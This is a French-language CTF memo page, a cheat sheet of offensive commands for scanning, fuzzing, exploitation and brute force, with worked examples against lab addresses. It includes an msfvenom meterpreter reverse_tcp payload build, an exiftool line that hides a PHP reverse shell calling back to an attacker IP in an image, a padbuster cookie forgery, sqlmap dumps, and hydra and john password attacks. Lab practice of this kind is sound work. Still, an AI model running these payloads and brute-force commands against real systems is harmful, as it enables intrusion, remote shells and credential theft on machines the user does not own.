Une simple page de mémo pour les CTF 🙂


Reverse shell samples :

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet


Commandes d’interaction (pour CTF communs)

who

-> Affiche les tty connectés

wall “hello world !”

-> Envoie un message sur tous les tty connectés


Tips & tricks

python -m SimpleHTTPServer <PORT>

-> Lance un serveur web dans le répertoire local

apt-get install python-pyftpdlib

python -m pyftpdlib -p 21

->Lance un serveur ftp dans le répertoire courant


Scan & Fuzz :

nslookup -type=<MX / A / AAA / TXT / CNAME / PTR> <DOMAIN>

nslookup -type=MX test.fr

nmap (
-A : détection du système et des versions
-sP : simple ping scan
-sS/sT/sA/sW/sM: Scans TCP SYN/Connect()/ACK/Window/Maimon
-sN/sF/sX: Scans TCP Null, FIN et Xmas
-sU: Scan UDP
-T4 : Définit une temporisation[0-5]
)

nmap -A -T4 -sV 10.10.10.157

smbclient –list //<IPADDRESS>/ -U “”

smbclient –list //10.10.10.134/ -U “”

nmap –script <SCRIPT> -p <PORT> <IPADDRESS>

nmap –script smb-vuln* -p 139,445 10.10.10.134

nikto -h <URL> -p <PORTS>

nikto -h 192.168.0.1 -p 80,443

gobuster –url <IP ADDRESS> dir –wordlist <WORDLIST> -x <EXTENSION>

gobuster –url 10.10.10.157 dir –wordlist /usr/share/wordlists/dirb/big.txt -x php,txt,html,htm

cat *.txt | gobuster –url 10.10.10.157 dir –wordlist –

-> pour piper plusieurs wordlists dans gobuster

dirb <url> <wordlist>

dirb http://docker.hackthebox.eu:58651 /usr/share/dirb/wordlists/vulns/apache.txt

dirb options :
-a “agent” -> spécifie un user-agent
-R -> récursivité interactive
-o output.txt -> redirige l’output

wfuzz –hh=<PARAM_SIZE> -w <WORDLIST> <URL>.php?<PARAM_NAME>=test

wfuzz –hh=24 -w /usr/share/dirb/wordlists/big.txt http://docker.hackthebox.eu:42566/api/action.php?FUZZ=test


Exploitation :

padbuster <URL> <COOKIE> <BLOCK_SIZE> -cookies “<PHPESSID_COOKIE> <OPTIONNAL_COOKIES>” –plaintext ‘<NEW_VALUE>’

padbuster http://docker.hackthebox.eu:59436/profile.php tu%2FOelHH0Nx8BaMhIurtihnbzj6YiABdvdMp0%2Fm6NII%2FClg%2B5Os9Rg%3D%3D 8 -cookies “PHPSESSID=74j9m7o8pbaq8pdoq3l56rvpk4; iknowmag1k=tu%2FOelHH0Nx8BaMhIurtihnbzj6YiABdvdMp0%2Fm6NII%2FClg%2B5Os9Rg%3D%3D” –plaintext ‘{“user”:”test”,”role”:”admin”}’

searchsploit -t <INTITLE> <KEYWORDS> -w

searchsploit windows local smb

sudo -l

-> liste les commandes autorisées pour l’utilisateur courant

find / -type d -writable 2> /dev/null

-> Liste les répertoires accessibles en écriture

find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 6 -exec ls -ld {} \; 2>/dev/null

-> Liste les binaires exécutables par l’utilisateur courant

find / -iname “mon_fichier” -print 2>/dev/null

-> Trouver un fichier précis sur le système

msfvenom -p windows/meterpreter/reverse_tcp lhost=<LOCALIP> lport=<LOCALPORT> -f <FORMAT> > <OUTPUTFILE>

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.100 lport=4444 -f exe > payload.exe

exiftool -Comment='<?php $sock = fsockopen(“<IPADDRESS>”,<PORT>);$proc = proc_open(“/bin/sh -i”, array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>’ <IMAGE>

exiftool -Comment='<?php $sock = fsockopen(“10.10.10.1”,1234);$proc = proc_open(“/bin/sh -i”, array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>’ photo.png


SQL Injection :

sqlmap -u <URL> (–dbs / –tables -D <DATABASE> / –columns -D <DATABASE> -T <TABLENAME>)

sqlmap -u http://bidule.fr/index.php?id= –columns -D information_schema -T USER_PRIVILEGES


Bruteforce :

crunch <MIN> <MAX> <CONTENT>

crunch 4 15 “abcdefghijklmnopqrstuvwxyz”

hydra -l <USER> -P <WORDLIST> <IP ADDRESS> <METHOD> <URL>

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.157 http-get /monitoring

hydra -l <LOGIN> -P <WORDLIST> <URL> <METHOD>”<PAGE>:<ARGUMENT>=^<VALUE>^:<INCORRECT STRING>” -w <THREADS> -s <PORT>

hydra -l admin -P /usr/share/wordlists/rockyou.txt docker.hackthebox.eu http-post-form “/index.php:password=^PASS^:Invalid password” -w 10 -s 45692

john –incremental <HASHFILE>

john –incremental hash

Script de bruteforce anti-CSRF :

https://github.com/J3wker/anti-CSRF_Token-Bruteforce